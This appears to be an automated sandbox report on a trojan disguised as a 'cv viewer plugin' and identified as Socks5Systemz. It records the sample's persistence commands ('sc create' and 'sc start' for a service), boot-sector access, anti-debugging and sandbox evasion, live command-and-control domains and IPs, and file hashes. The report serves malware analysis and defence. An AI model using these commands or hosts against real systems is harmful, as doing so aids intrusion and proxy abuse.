Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe	Code function: CreateFileA,DeviceIoControl,GetLastError,FindCloseChangeNotification, \\.\PhysicalDrive0		7_2_016AF8A3

Boot Survival

Contains functionality to infect the boot sector

Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe	Code function: CreateFileA,DeviceIoControl,GetLastError,FindCloseChangeNotification, \\.\PhysicalDrive0		7_2_00401A4F
Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe	Code function: CreateFileA,DeviceIoControl,GetLastError,FindCloseChangeNotification, \\.\PhysicalDrive0		7_2_016AF8A3

Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe

Code function: 7_2_0040D274 StartServiceCtrlDispatcherA,

7_2_0040D274

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\sc.exe sc create zuYSo binpath= "C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe"

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 2023 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 2023

Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe

Code function: 7_2_016B8503 RtlEncodePointer,__initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

7_2_016B8503

Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe	Code function: LoadLibraryA,GetProcAddress,GetAdaptersInfo,FreeLibrary,		7_2_00401B4B
Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe	Code function: LoadLibraryA,GetProcAddress,GetAdaptersInfo,FreeLibrary,		7_2_016AF9A7

Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe	Window / User API: threadDelayed 759			Jump to behavior
Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe	Window / User API: threadDelayed 9095			Jump to behavior

Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess

graph_7-18807

Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe TID: 7368	Thread sleep count: 759 > 30	Jump to behavior
Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe TID: 7368	Thread sleep time: -1518000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe TID: 6332	Thread sleep count: 74 > 30	Jump to behavior
Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe TID: 6332	Thread sleep time: -4440000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe TID: 7368	Thread sleep count: 9095 > 30	Jump to behavior
Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe TID: 7368	Thread sleep time: -18190000s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe

Thread delayed: delay time: 60000

Jump to behavior

Source: cv viewer plugin 8.31.40.exe, 00000007.00000002.2644409140.0000000000AAA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWH`
Source: cv viewer plugin 8.31.40.exe, 00000007.00000002.2644409140.0000000000B92000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe	API call chain: ExitProcess graph end node			graph_7-18808
Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe	API call chain: ExitProcess graph end node			graph_7-21788

Anti Debugging

Found API chain indicative of debugger detection

Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe

Debugger detection routine: QueryPerformanceCounter, DebugActiveProcess, DecisionNodes, ExitProcess or Sleep

graph_7-18993

Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe

Code function: 7_2_016C01BE RtlEncodePointer,RtlEncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,RtlEncodePointer,GetProcAddress,RtlEncodePointer,GetProcAddress,RtlEncodePointer,GetProcAddress,RtlEncodePointer,GetProcAddress,RtlEncodePointer,IsDebuggerPresent,OutputDebugStringW,RtlDecodePointer,RtlDecodePointer,RtlDecodePointer,RtlDecodePointer,RtlDecodePointer,RtlDecodePointer,RtlDecodePointer,

7_2_016C01BE

Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe

7_2_016C01BE

Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe

Code function: 7_2_00401B4B LoadLibraryA,GetProcAddress,GetAdaptersInfo,FreeLibrary,

7_2_00401B4B

Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe

Code function: 7_2_016A6487 RtlInitializeCriticalSection,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetProcAddress,GetTickCount,GetVersionExA,_memset,_malloc,_malloc,_malloc,_malloc,_malloc,_malloc,_malloc,_malloc,GetProcessHeap,GetProcessHeap,RtlAllocateHeap,RtlAllocateHeap,GetProcessHeap,RtlAllocateHeap,GetProcessHeap,RtlAllocateHeap,_memset,_memset,_memset,RtlEnterCriticalSection,RtlLeaveCriticalSection,_malloc,_malloc,_malloc,_malloc,QueryPerformanceCounter,Sleep,_malloc,_malloc,_memset,_memset,Sleep,RtlEnterCriticalSection,RtlLeaveCriticalSection,_memset,_memset,

7_2_016A6487

Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe

Code function: 7_2_016B9528 SetUnhandledExceptionFilter,UnhandledExceptionFilter,

7_2_016B9528

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\sc.exe sc create zuYSo binpath= "C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe"			Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\sc.exe sc start zuYSo			Jump to behavior

Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe

Code function: 7_2_016B806E cpuid

7_2_016B806E

Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe

Code function: 7_2_00402715 GetLocalTime,

7_2_00402715

Source: C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe

Code function: 7_2_00402EB0 EntryPoint,GetVersion,GetCommandLineA,GetStartupInfoA,GetModuleHandleA,

7_2_00402EB0

Stealing of Sensitive Information

Yara detected Socks5Systemz

Source: Yara match	File source: 00000007.00000002.2646165637.00000000016A1000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2645068946.0000000000BAD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: cv viewer plugin 8.31.40.exe PID: 7320, type: MEMORYSTR

Remote Access Functionality

Yara detected Socks5Systemz

Source: Yara match	File source: 00000007.00000002.2646165637.00000000016A1000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2645068946.0000000000BAD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: cv viewer plugin 8.31.40.exe PID: 7320, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	3 Service Execution	5 Windows Service	5 Windows Service	121 Virtualization/Sandbox Evasion	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Native API	1 Bootkit	11 Process Injection	11 Process Injection	LSASS Memory	141 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	Security Account Manager	121 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	3 Obfuscated Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Bootkit	LSA Secrets	1 Remote System Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	22 Software Packing	Cached Domain Credentials	1 System Network Configuration Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	23 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
cv viewer plugin 8.31.40.exe	36%	Virustotal		Browse
cv viewer plugin 8.31.40.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label	Link
http://dddlhyt.info/search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c443db22f31df92d8838ed12a666d307eca743ec4c2b07b529669239628ffc14c2ef92	0%	Avira URL Cloud	safe
http://185.196.8.214/search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86ec96834	0%	Avira URL Cloud	safe
http://dddlhyt.info/search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86ec96834e835a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b410e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c5ee969f39cd68	0%	Avira URL Cloud	safe
http://185.196.8.214/search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df1	0%	Avira URL Cloud	safe
http://31.214.157.226/rand	0%	Avira URL Cloud	safe
http://31.214.157.226/rand	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
dddlhyt.info	185.196.8.214	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://dddlhyt.info/search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c443db22f31df92d8838ed12a666d307eca743ec4c2b07b529669239628ffc14c2ef92	true	Avira URL Cloud: safe	unknown
http://31.214.157.226/rand	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://dddlhyt.info/search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86ec96834e835a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b410e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c5ee969f39cd68	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.196.8.214/search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df1	cv viewer plugin 8.31.40.exe, 00000007.00000002.2644409140.0000000000B89000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.196.8.214/search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86ec96834	cv viewer plugin 8.31.40.exe, 00000007.00000002.2648250801.00000000021FE000.00000004.00000020.00020000.00000000.sdmp, cv viewer plugin 8.31.40.exe, 00000007.00000002.2648534705.0000000002396000.00000004.00000020.00020000.00000000.sdmp, cv viewer plugin 8.31.40.exe, 00000007.00000002.2648485900.000000000228A000.00000004.00000020.00020000.00000000.sdmp, cv viewer plugin 8.31.40.exe, 00000007.00000002.2644409140.0000000000B9C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
31.214.157.226	unknown	Germany	58329	RACKPLACEDE	false
185.196.8.214	dddlhyt.info	Switzerland	34888	SIMPLECARRER2IT	true
89.105.201.183	unknown	Netherlands	24875	NOVOSERVE-ASNL	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1502272
Start date and time:	2024-08-31 22:11:28 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 58s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Run as Windows Service
Number of analysed new started processes analysed:	12
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	cv viewer plugin 8.31.40.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@9/6@1/3
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 83% Number of executed functions: 50 Number of non-executed functions: 77
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 20.190.155.16, 20.190.155.130, 20.190.155.132, 40.126.27.66, 20.190.155.66, 20.190.155.3, 20.190.155.1, 20.190.155.2
Excluded domains from analysis (whitelisted): prdv4a.aadg.msidentity.com, ocsp.digicert.com, slscr.update.microsoft.com, login.live.com, www.tm.v4.a.prd.aadg.trafficmanager.net, settings-win.data.microsoft.com, login.msa.msidentity.com, fe3cr.delivery.mp.microsoft.com, www.tm.lg.prod.aadmsa.trafficmanager.net
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
16:13:01	API Interceptor	465794x Sleep call for process: cv viewer plugin 8.31.40.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
185.196.8.214	kqS23MOytx.exe	Get hash	malicious	Socks5Systemz, Stealc, Vidar, XWorm, Xmrig	Browse
	install.exe	Get hash	malicious	Socks5Systemz	Browse
	install.exe	Get hash	malicious	Socks5Systemz	Browse
	file.exe	Get hash	malicious	Socks5Systemz	Browse
	file.exe	Get hash	malicious	Socks5Systemz	Browse
	file.exe	Get hash	malicious	Socks5Systemz	Browse
	crt.exe	Get hash	malicious	Socks5Systemz	Browse
	file.exe	Get hash	malicious	Socks5Systemz	Browse
	file.exe	Get hash	malicious	Socks5Systemz	Browse
	file.exe	Get hash	malicious	Socks5Systemz	Browse
89.105.201.183	kqS23MOytx.exe	Get hash	malicious	Socks5Systemz, Stealc, Vidar, XWorm, Xmrig	Browse
	crt.exe	Get hash	malicious	Socks5Systemz	Browse
	file.exe	Get hash	malicious	Socks5Systemz	Browse
	file.exe	Get hash	malicious	Socks5Systemz	Browse
	file.exe	Get hash	malicious	Socks5Systemz	Browse
	file.exe	Get hash	malicious	Socks5Systemz	Browse
	crt.exe	Get hash	malicious	Socks5Systemz	Browse
	file.exe	Get hash	malicious	Socks5Systemz	Browse
	file.exe	Get hash	malicious	Socks5Systemz	Browse
	5P2QMHky6w.exe	Get hash	malicious	Socks5Systemz	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
SIMPLECARRER2IT	kqS23MOytx.exe	Get hash	malicious	Socks5Systemz, Stealc, Vidar, XWorm, Xmrig	Browse	185.196.8.214
	3plugin29563.exe	Get hash	malicious	Amadey	Browse	185.208.158.116
	install.exe	Get hash	malicious	Socks5Systemz	Browse	185.196.8.214
	install.exe	Get hash	malicious	Socks5Systemz	Browse	185.196.8.214
	file.exe	Get hash	malicious	Socks5Systemz	Browse	185.196.8.214
	file.exe	Get hash	malicious	Socks5Systemz	Browse	185.196.8.214
	file.exe	Get hash	malicious	Socks5Systemz	Browse	185.196.8.214
	crt.exe	Get hash	malicious	Socks5Systemz	Browse	185.196.8.214
	file.exe	Get hash	malicious	Socks5Systemz	Browse	185.196.8.214
	file.exe	Get hash	malicious	Socks5Systemz	Browse	185.196.8.214
RACKPLACEDE	REMITTANCE-NOTICE-For-Norriselectricxslx.pdf	Get hash	malicious	Unknown	Browse	31.214.157.73
	ELECTRONIC RECEIPT_Servier.html	Get hash	malicious	Unknown	Browse	31.214.157.167
	http://0nlinenfidiesnsdiffu9ehwsxmcmv1kgpeiwush0rfvtdgs2.omega-wls.com	Get hash	malicious	Unknown	Browse	31.214.157.167
	ELECTRONIC RECEIPT_Pvtgroup.html	Get hash	malicious	Unknown	Browse	31.214.157.167
	3WfBfFhuhG.exe	Get hash	malicious	Socks5Systemz	Browse	31.214.157.103
	pjczQr2H3P.exe	Get hash	malicious	Socks5Systemz	Browse	31.214.157.103
	9TSh73ulR1.exe	Get hash	malicious	Socks5Systemz	Browse	31.214.157.103
	pFc3236XqK.exe	Get hash	malicious	Socks5Systemz	Browse	31.214.157.103
	ScannedXfileX2.xlam.xlsx	Get hash	malicious	Unknown	Browse	31.214.157.14
	http://0nlinemmbiyeywhsskd0gotuhqhssbcvposgsai0dsolflktue2.tryuimbghiop.online/	Get hash	malicious	Unknown	Browse	31.214.157.153
NOVOSERVE-ASNL	kqS23MOytx.exe	Get hash	malicious	Socks5Systemz, Stealc, Vidar, XWorm, Xmrig	Browse	89.105.201.183
	crt.exe	Get hash	malicious	Socks5Systemz	Browse	89.105.201.183
	file.exe	Get hash	malicious	Socks5Systemz	Browse	89.105.201.183
	file.exe	Get hash	malicious	Cryptbot, Neoreklami	Browse	89.105.201.137
	file.exe	Get hash	malicious	Socks5Systemz	Browse	89.105.201.183
	file.exe	Get hash	malicious	Socks5Systemz	Browse	89.105.201.183
	file.exe	Get hash	malicious	Cryptbot, Neoreklami	Browse	89.105.201.137
	file.exe	Get hash	malicious	Socks5Systemz	Browse	89.105.201.183
	crt.exe	Get hash	malicious	Socks5Systemz	Browse	89.105.201.183
	SecuriteInfo.com.Win32.DropperX-gen.709.18225.exe	Get hash	malicious	AsyncRAT, DcRat	Browse	89.105.201.98

Process:	C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe
File Type:	ISO-8859 text, with no line terminators
Category:	dropped
Size (bytes):	8
Entropy (8bit):	2.0
Encrypted:	false
SSDEEP:	3:c//:c
MD5:	F84A06498A70209A6C736AB086FFA513
SHA1:	26EC0C40980B13E832DB13429D15F79F48B4B958
SHA-256:	619DEF8CBB56C4E3FAE72DB566137D6E239E4AB2A5AE1D44A77965EEB45D4693
SHA-512:	6D74FB1666A32D1398FC0A25D649983240022FA39EF1EDA11F87B4BA2E467EF73384E2C15BFBBA74573E0DFACB11EE3687DE182B0A89C1A99CFD5842EF23F279
Malicious:	false
Reputation:	low
Preview:	gy.f....

C:\ProgramData\cv831-rc-40.dat

Download File

Process:	C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:1:1
MD5:	D774D7687F27B3B0E50F31DE114CA692
SHA1:	411123537966893E013BD2739B18334D7C05FF78
SHA-256:	A962C99AE0666415E78EFB96BAB1039F404ABE9F9BE88E317EE7E4C473DFAA32
SHA-512:	311DF29A658012744DEA7326F27DF6C1DEE2E8AFCD75B79FE8C0DAA57D6455CA4A6D74E39B709F4700561AFFCE45838114234E4E5CEB545F25FA58C7C749391D
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	Z...

C:\ProgramData\cv831-res-a.dat

Download File

Process:	C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	128
Entropy (8bit):	2.9545817380615236
Encrypted:	false
SSDEEP:	3:SmwW3Fde9UUDrjStGs/:Smze7DPStGM
MD5:	98DDA7FC0B3E548B68DE836D333D1539
SHA1:	D0CB784FA2BBD3BDE2BA4400211C3B613638F1C6
SHA-256:	870555CDCBA1F066D893554731AE99A21AE776D41BCB680CBD6510CB9F420E3D
SHA-512:	E79BD8C2E0426DBEBA8AC2350DA66DC0413F79860611A05210905506FEF8B80A60BB7E76546B0CE9C6E6BC9DDD4BC66FF4C438548F26187EAAF6278F769B3AC1
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	30ea4c433b26b5bea4193c311bc4a25098960f3df7dbf2a6175bf7d152ea71ca................................................................

C:\ProgramData\cv831-res-b.dat

Download File

Process:	C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	128
Entropy (8bit):	1.2701231977328944
Encrypted:	false
SSDEEP:	3:WAmJuXDz8/:HHzc
MD5:	0D6174E4525CFDED5DD1C9440B9DC1E7
SHA1:	173EF30A035CE666278904625EADCFAE09233A47
SHA-256:	458677CDF0E1A4E87D32AB67D6A5EEA9E67CB3545D79A21A0624E6BB5E1087E7
SHA-512:	86DA96385985A1BA3D67A8676A041CA563838F474DF33D82B6ECD90C101703B30747121A6B7281E025A3C11CE28ACCEDFC94DB4E8D38E391199458056C2CD27A
Malicious:	false
Preview:	ccddf9e705966c2f471db9..........................................................................................................

C:\servicereg.log

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	28
Entropy (8bit):	3.678439190827718
Encrypted:	false
SSDEEP:	3:4A4AnXjzSv:4HAnXjg
MD5:	A8F4D690C5BDE96AD275C7D4ABE0E3D3
SHA1:	7C62C96EFD2CA4F3C3EBF0B24C9B5B4C04A4570A
SHA-256:	596CCC911C1772735AAC6A6B756A76D3D55BCECD006B980CF147090B2243FA7B
SHA-512:	A875EBE3C5CDF222FF9D08576F4D996AF827A1C86B3E758CE23F6B33530D512A82CE8E39E519837512080C6212A0A19B3385809BE5F5001C4E488DD79550B852
Malicious:	true
Preview:	[SC] CreateService SUCCESS..

C:\servicestart.log

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	419
Entropy (8bit):	3.4821271713974618
Encrypted:	false
SSDEEP:	6:lg3D/8FTgVKBRjGxVVLvH2s/u8qLLFmLaZnsHgm66//Vh//mhSefq:lgAtgV0qVbH2suZLQqOVxmQcq
MD5:	B23B19CB233C16B9E6A0857CCE1861C4
SHA1:	D4690AE2D553E34BA2D95976496B3A4211D5954E
SHA-256:	EE6B4921713CA920A9332E757CE1C0440DE289DF75E53CB04E114690311C9AEC
SHA-512:	C46CA5EF85C36E62CFAAADDC5165A9846F40A5734BA73D9F3D6A0CE56FE9756992B3472D54333B7FC983CDDA72C724711B973A30983142079FC679CA29B0DA35
Malicious:	false
Preview:	..SERVICE_NAME: zuYSo .. TYPE : 10 WIN32_OWN_PROCESS .. STATE : 2 START_PENDING .. (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN).. WIN32_EXIT_CODE : 0 (0x0).. SERVICE_EXIT_CODE : 0 (0x0).. CHECKPOINT : 0x0.. WAIT_HINT : 0x0.. PID : 7320.. FLAGS : ..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	5.948163421555704
TrID:	Win32 Executable (generic) a (10002005/4) 99.94% Win16/32 Executable Delphi generic (2074/23) 0.02% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% VXD Driver (31/22) 0.00%
File name:	cv viewer plugin 8.31.40.exe
File size:	3'665'662 bytes
MD5:	cc497003e60667b5e3a13548ebb571fe
SHA1:	91263b59d8f4929a39af589b6890ce8823c4244f
SHA256:	f74ef29e192d79c8abaf8ba74fb4730895604ef65fd0ad5b3dc6feb98ed6642c
SHA512:	2041f0fac8ef7e9a4d022d3ce9cdc1aa7707627a2d95d262838be0b901d020b76aa30d369b9961d88b7e00d190026af202ee4468dd543ade8be2131220e06a12
SSDEEP:	49152:l22Lbqit7tcTsaeXv7xddrK1GLJITNH47b4HkEDTs/VotrUq:ll37tcIr/7V2EYNH4/4HkEDTs/qf
TLSH:	5C067D913A34E1CBD6461A72A453FE01BDEF4FB8C31C8483A978B9AE6D72CC2055D51E
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..."!M_..........................................@.......................... 8............................................

File Icon


Icon Hash:	000a1e13931b1303

Static PE Info

General

Entrypoint:	0x4bafd0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:
Time Stamp:	0x5F4D2122 [Mon Aug 31 16:11:14 2020 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	1
File Version Major:	4
File Version Minor:	1
Subsystem Version Major:	4
Subsystem Version Minor:	1
Import Hash:	654b9d0ee6da3bb0f240ec85887e6544

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
push FFFFFFFFh
push 004C13A8h
push 004BAEF8h
mov eax, dword ptr fs:[00000000h]
push eax
mov dword ptr fs:[00000000h], esp
sub esp, 58h
push ebx
push esi
push edi
mov dword ptr [ebp-18h], esp
call dword ptr [004C11DCh]
xor edx, edx
mov dl, ah
mov dword ptr [004C7DA0h], edx
mov ecx, eax
and ecx, 000000FFh
mov dword ptr [004C7D9Ch], ecx
shl ecx, 08h
add ecx, edx
mov dword ptr [004C7D98h], ecx
shr eax, 10h
mov dword ptr [004C7D94h], eax
push 00000001h
call 00007F1F6490725Eh
pop ecx
test eax, eax
jne 00007F1F649061AAh
push 0000001Ch
call 00007F1F64906268h
pop ecx
call 00007F1F64907009h
test eax, eax
jne 00007F1F649061AAh
push 00000010h
call 00007F1F64906257h
pop ecx
xor esi, esi
mov dword ptr [ebp-04h], esi
call 00007F1F64906E37h
call dword ptr [004C1110h]
mov dword ptr [004C8454h], eax
call 00007F1F64906CF5h
mov dword ptr [004C7D84h], eax
call 00007F1F64906A9Eh
call 00007F1F649069E0h
call 00007F1F649066EBh
mov dword ptr [ebp-30h], esi
lea eax, dword ptr [ebp-5Ch]
push eax
call dword ptr [004C10B0h]
call 00007F1F64906971h
mov dword ptr [ebp-64h], eax
test byte ptr [ebp-30h], 00000001h
je 00007F1F649061A8h
movzx eax, word ptr [ebp+00h]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xc1964	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xc9000	0x190818	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xc1000	0x38c	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
